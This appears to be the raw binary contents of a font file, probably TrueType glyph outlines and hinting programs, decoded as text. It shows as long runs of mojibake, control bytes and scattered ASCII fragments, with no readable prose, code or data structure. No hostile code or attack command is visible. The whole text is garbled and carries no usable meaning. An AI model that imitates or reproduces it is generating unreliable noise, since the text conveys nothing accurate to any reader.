F��2���99991/<����9990KSX��9Y"�@]@Bz%%%&'&&&	 66FFhuuw����]]#.+#!232654&#0s2�âJ{Q�����p���wu�
t]���:�'`��i����VNM`��`E@	F��2���99991@	���/�2���9990332673#!32654&#���Q{J�î2s0jp��|�Ɓuw`�':���]t
�i���`MNVo�V�{0�@C
S('	
S'('B��1
'(���!��.��1'
($R$+E1������9999��1�������9��0KSX�9�9Y"�0].#"#"/;#"&=32654&/.54632�N�Z��b�?ĥ��dXLi�����e�@����f�?�((TT@I!*�����a���jYQKP%$������V�4@
O
F�<�22�991@
��
����99��046;#"+5326�����cM��F1iK»��Ph�)��a��V� O@
 !O
F!�<<�22�99�2�1@��!���!
��!��99���<�2��0546;#"3#+53265#53#5�����cM����F1iK���`N���Ph����(��a�ؤi�7�V5e"�O���1@
��������04&+532;#"&�Mc����Ki1F��(hP�����a����V�2@	

O �2�2����1@���/<���2��0!3## 54!346;#"#"3276w��5R��������cMów|n!�o@`������Ph��3A07���^3@		/<�<�2991@���/<�2���990��]!5!4&+5323#���{Ks��բ����>�`�N�������7�V��=@����	F�<�<�2991���<��2990��]!!;#"&5#53w{��Li�ൣ������a����>��`C@
��

��NF��2��221/�2���22�22�0�` � ]3!33##5#"&=#5!326��:����C�u�Ȯ���||��h������<�fc��
�����q���`S@
!
 �������1@
�� �� ���<�2220@��������@@OO]##"5467#5!32654&'7!��a�����a��f������f��H���$��H��B׋��Ÿ��B��\b,@ 	F�������91@
����/����0+"'&53732654'&'5\���F�RQ�&(g3��JInhX�3"``��6�12Ğ�ec�0[�s=`h@'B��K�
TX�@8YK�TK�T[X���8Y�91/�290KSX����Y"33#	=�������`����TV5`�@	

�K�
TK�T[K�T[K�T[K�T[X�@8YK�TK�
T[K�T[X���8Y�91@

�/<<�290@0U
U
U
	
U		
BKSX��������Y"@�
-
:
FFI
O
TTZ
_
aai
vpvp����
�����	
		%%#'!%""%'$
!	#96690FHF@B@@@DD
D	@@VVVPQRRPST
U	cdejejjjna	gouuy}x}zzxy{
v	}������������@/�����������������������y]]!###335������%����j��j��`�j�=F�����1���/<��0�
�<<<�	
9@	
��3676;#"#	=�PHJ|�lL*./!�������>=�$#�^��l��fk`8@

	����91��/�20@���3	3#f�%.�]�`�8����X�V�`�@"B	�
����
O�K�TK�T[X���8YK�TX�@8Y�2�99�1/�����0KSX��Y"@B&GI+ 690@@E@@CWY_``f``b��]]!!;#"&=!5!qj�L�Li/F���7��e`��ۧ�a����%X���`!�@"�KTK�T[X���8YK�TX�@8Y�2�99��<�21@
��� �/�<�����0@BKSX��Y"@:&GI#+ #690#@@ECWY_#``fb#�#�#]]!367632+#47!5!3254qj�L�"TA`�:&>R~i�����e�8�FX`��ۢG7W9W`/=3<;4�%��6]X�L/` �@
"!������̲91@B�!��
��	��!�����9/��	990@ ��@
**8;ILT[q
]@  %$ 5 7E FT \
]@	]2!"'&'5327654'&+5!5!<j�bVQ���^cdjT�m�cd\]����ej�8*mh���%�12KK��KJ��m�Ll`$- 76654'&+5!5!2#4'07&#"327�*��\^����ej�ei�dTQ'd�(�	}��c�L��;*1�JJ��$8+lg�qUe�R8y�*K/KX�4@	
�����1@
�	���/����KPX��Y�032765&'&#"56763 #T?�V:9c�PONNLQQU�mlp��rLb�Ar+�#�}��sw�tX�5@
E�����1@����/����KPX��Y�0#&'&5476!2&'&#"3�ʪpln�UQQLNONP�c9:V����ws��}�#�+rA�bLrX�7@	�����1@����������KPX��Y�03!"'&'5327674'&#Tʪplm���UQQLNNOP�c9:V���tws��}�#�+rA�bLrX�L�#-�%$���2�1@	�
��$���$��������0476!2&'&#"32767# '&5Xn�UQQLITNP�f::f�PNONLQQU��n@�}�#�(rA���Ar+�#�}�s����
"47632"'&   ! �" 0." B^ "N�H����#:x������y�.""""./B!!������H�[�����[������>`�q���|/=@1	%,%E0��������1@��0
�	0�"�0������(
	90";#"327654'&% !"$5467&'&5476EwEFDCt���HNTU��hcc`��a�������|p<<rq�..@F-,�38XZ88to��rn������¶�l�A@]�ONq���'G@'��(%�%�����(4"E(�����1���9���99��990%#5!#"!2546;#".#"326��Ae�{���-7i1����iM_�c��ƳO|����$$>:!��a���>>��������`���V.9@	F�<�<����991@
���	/<�2���03#33## 54!3#"3276������7K�����u_+����xG`�͋BA0 ��L�`
##	33�����R���9��L��T��#��`@
��F����1/��03!!����`�3�q�V�$C@�	���#�%��%"GE%����221���������0@	`&�&�&�&]32654&#"#"32546;#"#/��������s:�|���|�:����iM�/�������daDDad���a���X�$L@& %��<�<��ij#��1@
�$�!	���/�����<�2KPX��Y�032765&'&#"56763 3###53T?�V:9c�PONNLQQU�mlp������rLb�Ar+�#�}��swԤ���X�$M@&"#E%���<�<�ij "#��1@��$!#��#�#/�����<�2KPX��Y�0535&'&5476!2&'&#";3##��pln�UQQLNONP�c9:V�>�����ws��}�#�+rA�bLr�����q���&) 76'& %3!!!+5#"'&7632/ST$TTTT��T �i�L����:XY|ˀ��|YX����jtsst�tssH^�L��ۓ�d01����10M��q�L4@#5#"'&76323!2!"'&'5327654'&+5 76'& Z�:XY|ˀ��|YX:�j�ej�bVQ���^cdjT�m�cd\]����:ST$TTTT��T�3�d01����10d^�L��$8*mh���%�12KK��KJ���jtsst�tssq���3: 76'& %%!332!##47!#5#"'&763233254#/ST$TTTT��T���gh�L�<����)����:XY|ˀ��|YX:���FX��jtsst�tss_������ ��3<;4�d01����10d^�6[7@�7!!3!27654&/.54632.#")"'&5#53w{��%&s@�FF^�@����f�LN�Z��b�?ƣ|L�����QQ�������''-,4IM*$�����((TT@I!,���e>PO�`�>7�V&/!05476;#"+53276=#"'&5#53!3wxWQî�c&'QR�F1i&&��QQ��3��%&s���N�[V�((h�)�``�01�PO�`�>�������''7�p��-9D!6!2&'&#"63 #"'47!"'&5#533276'&#"&57!3w{��UQQLNONP�cccO�+eK�TI����QQ��;BS_�r(�ր���%&s���z�#�+qr�fr	��v)2LOAPO�`�>��'KV
	������''/�Vo5+5327654&#"#!##535476;#"!;67632oRQ���i&&||����ӹ��WW���c'&-�BYZu�cc��H�``�01���������/яN�UV�((hc�e22wx�A'3!27654&/.54632.#")����FF^�@����f�LN�Z��b�?ƣ|L���O��-,4IM*$�����((TT@I!,���e>��

�@

	F��<��2991@
B
����/����0KSX@


��Y@B&GI


+
09
@@@@@C
EWY
`````b
f���]]3!!!+��i�L�������L��ۓ��6���333##333##6t�����t������t�����t�����U�����=�����6��3@	
�<�2�<�2�1@
����2��20!#!#!#!#6���k����k�U�X��r�X���J�3@NF
����2�1@��	�����������0%#"&54&+53232653#׃��Li1F�����������ęa���B�þ�y���Vv!:@
#NF
"����2��1@��"
��"���"�������0%#"&54&+53232653;#"&'׃��Li1F������Ph2F������ęa���B�þ�y���f���u��0@
��</��K�
QX�@8Y1�]@�<���0#4&#"#3>32�tNN^luu)qJy}��wYYk\��g��88�u��:K�SX@
��<�/��K�
QX�@8Y1�]@�<����0Y#4&#"#46;#">32�tNN^lugr��B0)qJy}��wYYk\���xkW6Vr88�����
#@�<��<�1@�����03+5327653#zt43r,Btt��x66XVr�u�@���1@	/�����0.#"#3>32.biuu$uT�
	qk��sa97H�����<�1�	/�����032653#5#"&'H.bitt$uT�
	qkJ��a97H�u'�	��<��1@

	/<�������032653;#"&=#"&'H.bit0B,rg$uT�
	qkJ��V6Xlxa97 ��!+33276?3327654'&+�CFCD��tk=%%(f{n!!"��}K'))'K}�N;[--s��?��5�/.6��333##6t�����t����������&��+53276?33�1/.N]D0 ��{��{bp"#WK/i�����t�f���tf&t������
�������
�����@
����1��0#5�R��ڬ��@�u��1�ܴ?O]�ܶ ]<1����ܲ]9�052654&#52u@XX@sPOOP�{X@?X{PO�PPu��1����@
  ]<1����Բ]9�0"'&4763"3�sPOOPs@XX@�PP�OP{X?@Xu��+@	�����91@	
	�������032765&'&#"567632#'y7$#?q22110335�WDDFk�[@*7K$@`	
XFh_@C��u��-@
�����91@	�������0#&'&547632&'&#"3�kGDEW�53301212q>$%6y[�AmC@_hFX
	`@$K7*@2��%
%�g��������2��5-5��g���'�������|?f=�u��91����2�]90K�	TK�T[X���@878Y3##�������f�g���|?fL�u��91���<Բ]90K�	TK�T[X���@878Y@5:5:3]]33�������|�g���?f7@��u��91��290K�	TK�T[X���@878Y3#'#�������f������?f7@��u��91�<�90K�	TK�T[X���@878Y373��������x������^@���1@/�0#^���+���b+�qs�Rf3#����f�����f	#o���f��v��^�@���1@/�0%#^����+����+�Tq�^�����#o���n��vs�R��3#����l��o�#E@�<�K�PX�@@88Y2991/���0@	`o]@
P```dd]!!!�e�����J�'��o��#4���K�PX�@@88Y91��0@`]@	P``d]!!�e�J��u��#����u��#�����!533�>��j��,�����5!##–�����,d��U533##5#5D����u����d�&u!5!&�>�ߖ�)9H
W@��VV����1�<��0K�	TX���@878YK�TK�T[K�T[X�@��878Y332673#"&�vaWV`
v
����HKKJL����DfN@	��d��1��0K�
TK�
T[X�@��878Y�
KT�KT[X�@��878Y3#������ @��	��VxV����1����04&#"3267#"&54632�X@AWWA@Xz�ss��ss��?XW@AWX@s��ss��L�u� @
��
'�����1/���90!33267#"&546�w-+76 >&Dzs5=X..�

W]0i�J7c@$���VwVv���99991�<��<�99990K�	TK�T[X���@878Y'.#"#>3232673#"&�9!
&$}f[&@%9!
&$}f[&@Z7IR��!7IR�����fB@������991�<�20K�	TK�T[X���@878Y3#3#������߉f��x������%3;#"'&5�&&i+@�WR��d���10�`ZȢ��f'#7'373\\]����]\����aa��``��u��
# 5473733254������������������/����MM�z��
�/�1�/�03#ztt��u��/2&'&#"#"'&'532654'&/&'&547632j1549W++](}24NM�9>=D@?>=RX o(l00GF�@99
a/$*+MW33

k2-*)*IX01	u�!#'#37���͉���������H+����u����X@	����1/��0!!5!��AGЈ���X'@??//����21/���]0!!5!3��A����4���X@����21/���0!!5!3��A��h�h���X'@pp00����21/���]0!!5!3��A��4�����X@	����1/��0%3!5�������������?����p����+v'q�q�����m����9��3��vJ��!_@	Vw	V
v"���99991@		�	�"�<��<�99990K�	TX���@878Y'&'&#"#67632327673#"&�9
&}33[&@%9
&}33[&@��7
	%$R�IJ!7
	%$R�IJ��{��f6@���D��91���0K�	TK�T[X���@878Y	#	�m���Xf��v��q{�Pf6@���D��91���0K�	TK�T[X���@878Y3#������f��s��{�?f<@���u��991���290K�	TK�T[X���@878Y3#'#��������?f����s�����H7�������b�/�q�����|!�����)�1H�����{�Z%@�����91��0@4D]3#����^���{�)I@���	dd	��9�1�<�20@#4D`````````ppppp]3#%3#�^��y��)�����7�{"@	V@�V
/����1@�@�
/��0632#546?654&#"�7pihX,#w3-.>GZdH3UC=A 	 (6%""($4�������������f����{�Cf<@���u��991��<�90K�	TK�T[X���@878Y373��������N�x����s���D��/�1�/�0#�D���D�������'��4���]�fB@������991�<�20K�	TK�T[X���@878Y#!#�͇����f��x��x����)�1V'�B�����)�1H�VV/���1�
�/<��0#.#"#> �vaWV`
v
�"�)KKJL�����D(
@��0#3��Ӥ��?�����#55#53���pp���{�������53#7"���op����{�y��3#@�u�����������UC�������q��P�Uv�����$��<��#5353#�Ġ�xx��x��F�����33##��x��x2�x��U�?p!5!#I������k{�1@V/K�TK�
T[K�T[X�@8Y�2��1@
�/��0532654&'3#"&��=X..�

W]0i�w-+76 >&Dzs5����V��
@

V��21@�
�/���0"&5463"3�VZ||Z(55(�}ZY|x5'(5�����M3!5353�D��������������M#5!##���걈�ň���$����#53533##�Ġ�x��x��x��x�������5!�����z�V���
'+53276=0RQ���i&&���``�01���w�V���
%3;#"'&5�w�&&i�QR���10�``������Z�s3#����������'�Sj���C�(����@VxV����1@�	�/���04&#"3267#"&54632�[6'(55('6y|ZZ||ZZ|��&65'(56&Z}}ZY||�j����T
@��03#��Ӥ�������#�u��z����L�u��������D���/�1�/�0#�D�`�t���P���#5!#��f����J�c�9���X#"4533273273"��<t�uhevifv�t��R�����������C�����&'K�	TK�TK�TK�T[[[X�@��878Y������=������&'K�	TK�TK�TK�T[[[X�@��878Y�����9�1�X�������6�1�U#.#"#> �vaWV`
v
�"��6KKJL��������9�H�S����������/�T��������B�������
�����#"'&'.#"5>32326SK�OZqMg3O�IN�S5dJt]F��;73
!;?�<6
7=�x��h!5x��h������h5!��Ĥ��h�����'��`�_^N�O�����'�ygfFXY�������
@

V��21@�
�/���02#52654&#��Z||Z(55(B}ZY|x5'(5��[���3!53����[J����!����!5#��>J�*�>�����c�9���X632#&#"#&'"#72��;t�v
gfvifv�t�R�������+���'7'77�}`}}`}}`}}`p}`}}`}}`}}`�� �.54675>54'&'�C!��RI	7!��RI	�0PQn
+0PQn
����:'!�!��������fC�����q�Pfv�������H7���������������F�b������V��������+I#5!#!Ֆ�֖V��,��2��!5!5!5!��>�>�2x�x����3#3#���@��`�t��t�����!#!�–��*�>,���Jf'73327673#"'&'#7&'&#"#67632��Bmk
&}33[& !Bnk

&}33[& �g�	
$%R�JI
g�
$%R�JI
����J�!%'.#"#4632326=3#"&3#3#��9$(}gV$=09" (}gT";薖Җ�h!2-ev
3)dw.�C������J�"$�$��c�(����
7!#'73!'3�p�������~���(���͛����3����#557'�2d��͛��~��~��x�&'&4767��@*,,*@rNPPNr�*,@A++{OP�PN����`�1�'�����+������!�x�050567654'&�xrNPPNr@*,,*�{NP�PO{++A@,*���.D���������o��2>&"762"'"&46264&"�	5O57O5�>�||�=>�||��66O55��55M75m?|�}A@}�|��6M65O5���p����"�����pk��"��P�p��k!!�p ��k��p����T!!�p �ଔ�*
�'#'&'&#"#67632327673#"'&�O,$e5F�qp�[?9Z�O,$a9G�qp�[?9J7
$0G�JI
"7
$,K�JI
���p�n#���w�(���5!'3#7�ws�~��~���d��͛���q������`���!#!#!#�S�������b��+���e�!#####���������b��+���t�f@��1��03�A�nt���V�H@��1��0%#�A�nH�����3�����y`���V���
#"'&=3;���
#�V!.��
�����{��q���{'yO��F�����{'y��������#�����f��-s�Rf1@	��D��1��0K�	TK�T[X���@878Y3#����f�����FR�&jl@��_]@_q0��hf'��'���H�Fy����uf'�t+�����f'��-�����}f'�z/������f'�5(�����f'�n:�����f'�h>6����'�.N��h�$�����%�j�@������1/��03!!���)ժ��h�=@B������1/���0KSX@����Y	!3��f5��:�9����+�����(��\�=���;�+s����!2@��"��"��"#3"�������1������0!!"3276'&' ! '&76��>b܁��܁����:x����ż���p�������������[��������bb�������,���j�.h�<@B�����1/<��0KSX@����Y3#3#��:�9�&�+����0���3�1�b�*@�����
	�<��<��1/�����0!!!!!!2�9i��g��gq������s����2���;�������3���F@B
���
�<�<�1/�2��20KSX@
����Y%!!5	5!!��>�!��8ߪ��p����������7������<s��'<@)
!%(���<<�<<���1@��'	�%'/�<�<��<�<0367654'&'&'&76753#–b��b�ʖb��b�����������Ws��sWWs��sW���������������=;�;s��.@
�����<�<���1/�22�<�20!6'"'&336763#�ּ�Ղn�ʊn���������h��g�椌�����g����H�N��&3@��&�("3'�������1/<�222��0%!567654'&#"!5!&'&576! ���cc�����cd���?�IH��1/��GG����a������ʦ�a������>�����”����XN'"/u/�	+1�����N'"qu:�+1��q���f&Fn������f&PJ����Vdf'�L����f&N�F�����*�&Zq���y
*�@,%E+�����99@
?/�]q@�)��!���/������99@<���<��10@����
�]@IIIJN
LNIK	]@:9:88?
<>]@+
+*))]@

]@++]'&#"3273;#"'&'#"'&763 N,-��=MKLy�H�c��(	#) Xn^T).^,��ru��7	��n���ik��%���1)0�T*XoW)��&����V�!7@EF��2������1@�	��
������9��0%#! !"3 5 4# y������Yo� �0k�E����dZ���&J�:�@�� �V`@@����1@��/<��20@
��99��3#&+532i�^�;���,_1F���Ld���V�D~�q��u�-T@(/E(
Q!E.�����
]���99@%�%��.�����99@S�910&#"#"'&4767&5!232654'&'&�f��u�����5K���x�D7VUV���[a~@Fu\0%p�������̥@$O�F�(Iq��rs��`g����|2=@"����3�3'�(�#�,�34'0E3��������1����������0&'&547632&'&#";#"32767#"'&546�p<<rq�L�baPQGwEFDCt���HNTU�]UUGZTUP�\A@]�ON�

..@F-,�38XZ88%�[[�l�k�R�>@
�������K�QX�@8Y1@�
������2����0%#457654'&# !5!ʄOTJP�E*  :��;��f�,KOxsPWKL,#%5,*3�Y�����'�i��Vd{1@����FN	
F��2���1/�����0@��]#4&#"#367632d�||����BYZu�cc���H������`�e22wxq��u$!O@
��"�"��"#E	QE"��2�]�2�1���@?]���0@w�#�#]!3276'&#"2#"'&76���EV��SI	6V��Q@=���񈉉�������d��~������������uv���n`
@
F����1@
��/��0;#"'&5c"$lYo�RR`�+�.0�`b����`I@	
	F��2���1@�/<�20@				��	<<��33	##����G��b��`�/�Z�FB��?=
F@����1@
��/<��0@�	�����	#	#'&+5z��~��J/k`u�e��<��2�~�����V�`wJ`B@�����1@�/�20@�	�9�9!367676'&'31����!xdLj�E.*��{`�T|��p5dw�Y|rNį�tk�R&@@
(" %'����������1@�
��'#�"��'�<��9����0%#457654'&# %$47#5! $ڄOTJP�E*  :��M��������KOxsPWKL,#%5,*�,X$�R���ݿ	�����q��u{RJ���`/@
��������1@����/��22��0!#3267#"&5!##J1�17,#J%x\�c��`��PH?�
����X���V�{1@���
��EQ
F����]��1�����067632#"&'#44&#"326=�;�����{�:�+���������fZ#��������ad������������q�R�{$6@!&	HE%������1@���%	�
�
��%�������0 !2.#"32#457654'&����-U�LN�P��Ư�PTJP�E*  >:##�++����LOxsPWKL,#%5,*q���`
1@ 
QE���]���1@����������0"32654'&'!##"'&76s�RV����VO�c�m���񈉉q�ns����ȷzn����휝����dm`#@

�����1@���/���20%;#"'&5!5!!�$lYo�RR�\	�W�0�`b��������*`+@
E	F�����@??	?]1@
��/��<0327676'&'31'"'&5R27k�i;j�F-*����eb`�+�@E�v�f�w�Z{s����xv��p�V�h
)=@+E(#E*���<�<���1@��*'���*��<�2�<�20"27654'&'2##"'&7673=A__UVF6����˷dž��f�B:VVMpˑ�Rh]��p[������n����m�Ns��sg�.;�Uda�@
		�<�<9��1@
�	����<��<�90�%KSX@����
����9�9�
9�9Y#&+53;'$ܕ�����1�1FA�3�N�1�1F������~����0��)~�p�V�`6@

���<�<���1@������<�2�<<0&'&53367653#E�k��UJ|��CU��vܷ%aw���~�LB�,BT���x�nc#�n���'`8@EE����������1@	�	�/<�2�<�0 433233243! &�a�Ə�˪�ޏƛ�a��!)R�@���O����@���+����}&Nj�.�����*&jZ��q��uf&}T�����*f&"Z�����'f&^Y�Vj�3!	#	#��������
���w�H��V���1���M$
'G@)E&
F(��2���Բ?]�1@�("��(��(����Զ?]�990267656#" '&76#327>&iP�Dy�z]6�;~��ox�Ҥ�]�Y�:P��W�p=l�޺l�ǧ�_�ը,���嶖�ꀰ�-ўq��u$
7@!EE ������<1@�� ��� �������04'&#" '&4632  �1B�SxyJ�̃�Я���#����/�p�~��Z�Z7�Ai6��d���e�����BWQ� I@	"!��9�Ĵ?@]�1@��
��/�<������99@	o��]0#4''&"562%62#"F�R*�*R�Mw(oUCHk&_*SK�H��v���
H#	�

0�r{C	 @[)/B�����f'�ngP��WQN'"�ugp�V�'A@)	 $E(���<<�<<���1@ ��(�	���(���<�<�<�<02##"'&76327676'&#"�Dž���Ƿdž���ǷqMTVMq�qLWUL�c����휙�o�������wgs��ug��Hgu��sgA��m`E@ EE��������91@�����<�2��22�05!#%$! 47)323764A,�M�a��")���aM:��G��������Ϥ��*��R��ѧ�O����p�[�g9&'&47#"54654'&#"563277632327"'532��!

�`�7"7$>�9[@[�`�7"7��>�9[&�F�]_I�
 �I�5l��|"O�	�z:6hl�0'��[Ml	|"O����z:6hl��f$1�1s�X��D@!
 ��ܶ0]�9ܶ0]��1@�
� �� ��<���0#&'&76!   76'�������;:����{�H���������p�����������ҳI����椤���q�Vu{
<@!E
E ��ܲ0]�999���1@
�� ��� ��<���0"32654'&#&'&7632s�VVUV���VV9��k������j�st�nts���tu�	�n�}�������{��R��$.@
&#%������1@
���%�"�%������0 32#457654'&# '&76)F��`{[m�zYTJP�E*  :������xe+w�����TOxsPWKL,#%5,*��eN�q�RQ` 4@"E!�����IJ]1@
���!	��!������0")!"32#457654'&g��-��[���o�PTJP�E*   >�����LOxsPWKL,#%5,*���#�)�@�VF'6�	 (��<��1@�
�	��( �$��(����������0347632&'&#"!!#"'&'53276�`�1213$)),x:KA���b�933.1220W@R���d		�>Qo�ɏ�?��s
�K_�����7"'&76'&526n�'B��Q_���'B��Q_��[~�,`*l#�FR����`*l#�FR��B@
��91�B��/���0KSX@����Y	#!3����&��p���M�]r�V`�!#56! #'#64?!"Q��h������RR_@�����0:��IKi�����X��L��}/M4��!���w���x#&'#&'&#5 #'n�d2�F�b.��-��t�`4���#M���!����P���^�s�K�=W@<
9:?5
+,">�����9�9�����KSX�	<Y]1@	>+9�>
&1��>��29�<��90'6767&'&'#"'&46733276=332764''3=D۴��v�a�yͤgDd''de��y{d;]�T�CHI}rHG�FFt�AGC�T�_8d���榈d*�0Q�A^��^^�����F������kmih����himw'��AF������U'`%S@!'E	E&�����9�9�����KSX�"<Y1@"!&�&
��&��29�<��90!$! 4337643'676���#��a�ڏ����ޏڇ9iŚ�kp[Q��
��:�@����+h�@���ф�{I%l+?s�VH�.@
E����<�1@������������032763## '&6%�`�nb��bc��Dhh������(J����������@?��G6�q�V�{.@
E����<�1@��
����������0 7653##"'&54763��Pr^SLTT��:XY�څ����c�н�tst�1��Rd01����Ȣ�K��%9@
'E! &��2�����KSX�
<Y1@��
� �/����0 '676767654'&#"#3676L'��<C���Ia�}٘�,6~s��sq��Nii{���̡���E5�2Wzmh�����~�'���BC-����M&#"327676%!"'&#"'632327654''&'&'&'&547676763267,�7%# G;I$lo���cK5AQT�_�R?[�OK1FufG)H2@0).>Pe^Ґ8*�7D�! ! 12�԰��.#A�L.#^Y�q4+&
"H4B;;=/?"+�VhP�O�V�!! 7654'&#"#676! 3 7��������llc��^#�,V���������)����ۄ��e]�6?�f��ض���d�Vj{ # 7654'&#"#67632327\����B�\\T��P�%I������/�����yY�k}oSKu,2�R��¤��ຐs��5%!	&'&#"567632	67632'&#"	;!53276�n�����"?E! rK,/	4'Kr !D<&��tEG��GH��h=�"
�C(F��K#C�
"&�E��	!��!6�{5%!	&'&#"56763267632'&#";!53276���[9�6:�@%(��(%@�:6�-:I�kI:�8���=�35��53����g��s��%+$67632! '&76!2767&#"327*��W8QU{��2����Τ��|�s��K^�l�Ⱥ�hiie��b-sJ�V"1�����P�һ

'�$�A��st��xssq��[/&67632#"'&76!27674'&#"3276��I,)e[x������tgO_\SG]EZ�ST��VXXT��RS7xJ�F61���𢢜�P�һ

'�'���rsst��xsst,�V��4@
�<���<��1@
	��
�����<�2�20#5!#!#!3��������`��d��`du��7�U�3@
�<���<��1@	��
����<�2�20#5####!3�����_�p��zpp��p���g3#"54654'&#"563277632327#"'$47(`�7"7$>�9[@[�`�7"7��>�9[@[�����|"O�	�z:6hl�0%��[Ml	|"O����z:6hl�0%?[M��V�{$:@&E
QF%����
]���1@���%"�
��%������04767632#"'&')! $'&  7�Z6�;�����x[Y: ��+ST��TSST$T%Уb^#����10d�X��4�tsst�jtss��q���{F����VyM��s����aq���{!&'&#"!!32?# '&76!2�%%cj�f_��[_f��MJOhk���en('�
c\���\c���(����+{!56763 !"/532767!5!&'&#"�'(ne������khOJM��f_�[�_f�jc%�����؜��c\���\c
����������V����s��'�&���@	
>

���91@B
�/<��290KSX@	
	

	����Y�p]@
6II
YY
@
	&)5:EJ	
]]!	!###�-}-����!�+����V�`O@	F

�����1@
B
	�	�/���290KSX@
		

	����Y!!###�����`�{�����`���U�V�{'4767632#"'&'!!#5#5'&  7�Z=�;�����{XY:��e�ST��TSST$T���fZ#����10d�Ȫpp���tsst�jtss��s��'�H��s��'�&�y3��s��'�'y������k&�%�u����N&�"�u����B����B��B��B|��#I��#Ia��bh�Fa�F`��C�`#B��C�`C�UX���C�`C8��5Y��B��B����#Ih;��5��#I�@PX��@8��5�5Y���f��4@
��<���1@�����/��2����0%+532654&#!#!5!!!2���L>�o||���R������h����"���9+���F�����jk&�#�us��'�N@	��2�<��1@�����	���������������I�IPX�@8Y0! ! &! !!! '�����z�O��������FӐ�hg��ս����������6�����,��XN������f��-T/�3@
����<���1@���
��/<�2����0!565!32#!% 4&+p���ٕx���L�@���+����8�/�X������ڦ�������5@
��2�<�2��1@
��	��/<��2�<�20!!#3!332#4&+326
����z����6���࡟�9��d����������݇����,@


��<���1@
�
��/<��2��02#4&#!#!5!!���||���R���q��f����9+���F����k&�#�u���3k&�%�u��#�m')ru���;�)@

�	������1���	/<�2��0)3!3!#��������+�+����h�$���.@	.��2����1@�����/�����04&#!!26!!2)����D��l�N�����������݇���@����������%�j�@������1/��03!!���)ժ��e����4@�
�������<�1@�
��/�22�2��0%!!67!3#!#���p���&ax���ު���
��D+?x4&��A������((v��@	�<�2��991@B
	�
/<<�2290KSX@					<<����Y@
I:I:I:I:I:I:@
	<<<<33	#	#	#	3������D�������D������x������M������(?@*	%)�2�����1@����%�&�"���)����������02#"$'532654&+532654&#"5>I�8�������z��,��|�й��Գ��Ɔ\�q��Ѳ|�!Đ��B�Y+�����wps{M�("�3�	y@		B	�	6
���991/<�2990KSX��Y"�]@068HGif�			FI	WX	ei	y	��	��	�]]#!33�j�����+������3m&�)�u#�
+�
KT�KT[�KT[X�@
��88Y1���Y@	��2��991@B	�
/<�290KSX@					<<����Y3!	#	#�����_��������y��T:�%@

������1@���	/<���035675!#!T�>Wx�fb�/�X��++���������0���;�+��s����2�;�@��	�����1/<��0#!#;�"��++��������3��s��'�&������7#��>�
����1�B
��/��20KSX@


����Y%+53276?3	3� O�M?w.-�!�suٵ2&]�*jk��lyj�
=@!

 ���<<�<<���1@
���/�<�2��<�203>54&'$%53#
������������W=�=U���������������+		-������������=;�;����)@
	�����<��1@��/�2��<0)3!33#;����ʪ���+�����$@

����2�1���
�/�2��0!!"&533!3�_���||x�d����v���+���*@


������1@
��/�2�<<0%!3!3!3�O��Oʪ+�+��+��o�2@
�
�����<��1@

��/�22��<<0)3!3!33#��O�Oʪ���+��+��<�*@�����
	���2���1/�����0!!5!!2#4'&#!!276��G�N���6ON���D�PO+���������DC��DC���F�&�,����
$@�
�����2���1/����04'&#!!2763!2#!ON���D�NO���N������DC��DC�������o��#�N@	�<���2�1@��
������������������I�IPX�@8Y0! 7!5!&! 56! ! 'o��������O��z�����F����Վ�a�����a���0�&8@��'��'!�&�$�#( !%$'��2�<����1/�������0"3276'&76! ! '&!#3~܂����܀����s��;:������Ŵ�����L����椤������������������k�j���@@	
�����2�1@B��	��	/<����0KSX�
	
	��Y3!!"	&$54$)#!���:�ƒ����d���v'����V�����+w����{��-{Dp��7):@+E'Q!	E*��2�����1@��*$��	��*��99����02#"'&5476$%676"32654&}�����:[;z631-�~L��Ӕ������{�����0�w)�v���	,u�8w����������>` /@
"	F!��2�����1@�
 	��� /�����0!2654&#32654&#%!2#!r~��~���h��h�V���lj���9��_ZZ^��SJJO���gy�r����`�F����1���/��03!!���`��3k��`4@
��������<�1@���/�22�2��0%!!6765!3#!#��}v��[(b����t��:��d�6(U���3�R�����q��{HF�`�@	�<�2��991@B
	�
/<<�2290KSX@					<<����Y@
I:I:I:I:I:I:@
	<<<<33	##'#	3?���n����������n��`���Q�O6��m����������|(N@&* 
)��������1@ ���#�)�)	�
�
��)�KQX��Y����KQX��Y�0#"&'532654&+532654&#"5>32�|����P�ZG�]������t��wG�ab�L��x\�l���%%pZXk�YF@\���]��y`	?@B	�F	F
����99�1/<�2990KSX@
		��Y##3y����`����}`�����y&�����#�
+�KT�KT[�KT[X�@
��88Y1��`Y@	F��2��991@B	�
/<�290KSX@					<<����Y33	##���T��sŷ`���O�Q5��Ls`$@
F
������1����	/<���0356765!#!L�8D���{X^�~�ŷ���o�P���O`M@B
�	F
F
�����1/<��290KSX@
		

	����Y!	!###�
>?��˸�ʹ`����'�P��`'@	��
F	F��2��2�1/<�2��03!3#!#��U�����`�7������q��u{R��`@��	FF�����1/<��0#!#�����`���3`����V�{S��q���{F<m`�	����1���/��20!!#!<1�B��B`��3���=�V`\p�Vg�
(3B@5E)!'.E4���<<�<<���1@,���41�$��4��<�2��<�20327&#"#"323>32#"&'4&#"326/�{brrb{��9�S���S�9�9�S���S�9�{brrb{�/�Ǩ��<9^N5=L^��^L�����N^����Ǩ�����;y`[���`(@
	�F���<��1���/�2��<0)3!33#��9�U���`�3�3�R�`;@�
�F����2�1/�2���#I�
�#IRX�
����8Y0!!"'&533!3H���f\�45h)��_V���u;;�����`)@

F
F������1�
��/�2�<<0%!3!3!3ڹ�"�ٹ���`�3����+`2@
�
F����<��1@

��/�22��<<0)3!3!33#��"�ٹڹ��`�3�3�3�R>.`,@E
���2���1@����/�����02#!!5!!!2654&q����8��$��~�������͓�7���_ZZ^����{'�"��>`%@E	F��2���1��	��/����04&#!!263!2#!z�~��~��@�����9LZ^��_n�7����q���{M@	H�<���21@�
�������������������I�IPX�@8Y073267!5!.#"563 !"'q������2�ǚ���-������V�ړi�V�F�����H���L{:@ E	F��2�<����1@������/�������0"32654&632#"'##3J��������q�������	и����������¾�����.���`�At"`<@		
�����21@B��	�	/<����0KSX�
	
	��Y;#"	.5463!##z�w��w���Vt������S^a\����������'��q��k&�CZ��q��&�j�����B����B��B��B|��#I�#�#Ia��bh�#Fa�F`��C�`#B��C�`C�UX���C�`C8��5Y��B��B��#��#Ih;�#�5��##I�@PX�#�@8�#�5�5Y/�V�?@N	F �<��22���1@���

�/�����<�2��0#533!!>325654&#"#߰����B�v����z�||���я��L��med���Y)�.�ПĞ������m&�v�q���{N@

HE��2�2�1@�����	�
��������������	I�
IPX�	
